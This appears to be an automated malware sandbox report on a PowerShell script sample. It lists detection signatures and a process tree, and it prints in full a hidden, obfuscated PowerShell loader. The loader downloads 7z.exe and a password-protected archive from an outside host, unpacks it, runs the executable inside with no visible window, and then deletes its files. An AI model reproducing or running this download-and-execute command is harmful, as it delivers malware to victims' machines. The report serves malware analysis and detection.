Analysis
- max time kernel
298s - max time network
260s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
06/05/2026, 04:25
General
- Target 06052026_0425_Roundtable Transformation Church.ps1
- Size 4KB
- Sample260506-e12jnsat8s
- SHA256 0dbb00c3a83844c00a172151c79e5311cea019b5a1e9452a5d7e72a3453713db
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\06052026_0425_Roundtable Transformation Church.ps1"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command [System.Net.ServicePointManager]::SecurityProtocol=[System.Net.SecurityProtocolType]::Tls12;$g7='zip';$h8='RvckZ';$i9=Join-Path $env:TEMP ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $i9 -Force|Out-Null;$j10=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.exe');$k11=Join-Path $i9 ([System.IO.Path]::GetRandomFileName()+'.'+$g7);$l12=0;for($m13=0;$m13 -lt 3 -and -not $l12;$m13++){try{if(-not (Test-Path $j10)){Invoke-WebRequest -Uri 'https://framesavecloudjs.beer/api/7z.exe' -OutFile $j10 -UseBasicParsing}Invoke-WebRequest -Uri 'https://framesavecloudjs.beer/api/index.php?a=dl&token=5d345b9d6bf25b44ad62ba122664b8f837a7f3159aa0387b7894ae6858722de7&src=recaptcha&cb=edge&ref=file%3A%2F%2F%2FC%3A%2FUsers%2Fmilkream%2FAppData%2FLocal%2FTemp%2Fcerbero_scan%2F1ba05c72c4e3f8f380244c25411847afd05f7d4d3c1dab18f2db21c0629bc425.html&mode=recaptcha' -OutFile $k11 -UseBasicParsing;if(Test-Path $k11){$l12=1}else{Start-Sleep -Seconds 2}}catch{Start-Sleep -Seconds 2}};if(-not (Test-Path $k11)){exit};$n14=Join-Path $i9 ([System.IO.Path]::GetRandomFileName());New-Item -ItemType Directory -Path $n14 -Force|Out-Null;$o15=@('x','-y');if($h8 -ne ''){$o15+=('-p'+$h8)}$o15+=('-o'+$n14);$o15+=$k11;if(Test-Path $j10){& $j10 @o15|Out-Null}else{Start-Process -FilePath $k11 -WindowStyle Hidden};$p16=Get-ChildItem -Path $n14 -Filter *.exe -Recurse -File|Select-Object -First 1;$q17=Get-ChildItem -Path $n14 -Filter *.msi -Recurse -File|Select-Object -First 1;$r18=$null;$s19=$null;if($p16){$r18=$p16.FullName;$s19=$p16.Directory.FullName}elseif($q17){$r18=$q17.FullName;$s19=$q17.Directory.FullName}else{$r18=$k11};if($r18){if($s19){Start-Process -FilePath $r18 -WorkingDirectory $s19 -WindowStyle Hidden}else{Start-Process -FilePath $r18 -WindowStyle Hidden}};try{Remove-Item -LiteralPath $k11 -Force -ErrorAction SilentlyContinue}catch{};try{if(Test-Path $j10){Remove-Item -LiteralPath $j10 -Force -ErrorAction SilentlyContinue}}catch{};2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_lehlik5b.kwp.ps1
memory/2820-9-0x000001D2E56F0000-0x000001D2E5700000-memory.dmp
memory/2820-0-0x000001D2E56F0000-0x000001D2E5700000-memory.dmp
memory/2820-12-0x000001D2E5710000-0x000001D2E571C000-memory.dmp
memory/2820-14-0x000001D2FF570000-0x000001D2FF582000-memory.dmp
memory/2820-13-0x000001D2FF450000-0x000001D2FF458000-memory.dmp
memory/2820-4-0x000001D2FF640000-0x000001D2FF662000-memory.dmp
memory/2820-1-0x000001D2E56F0000-0x000001D2E5700000-memory.dmp
memory/4796-17-0x000001C0B2910000-0x000001C0B2920000-memory.dmp
memory/4796-16-0x000001C0B2910000-0x000001C0B2920000-memory.dmp
memory/4796-25-0x000001C0B2910000-0x000001C0B2920000-memory.dmp
memory/4796-27-0x000001C0B2910000-0x000001C0B2920000-memory.dmp
memory/4796-28-0x000001C0B2910000-0x000001C0B2920000-memory.dmp
memory/4796-30-0x000001C09A2E0000-0x000001C09A2EC000-memory.dmp
memory/4796-32-0x000001C0B2A20000-0x000001C0B2A32000-memory.dmp
memory/4796-31-0x000001C09A400000-0x000001C09A408000-memory.dmp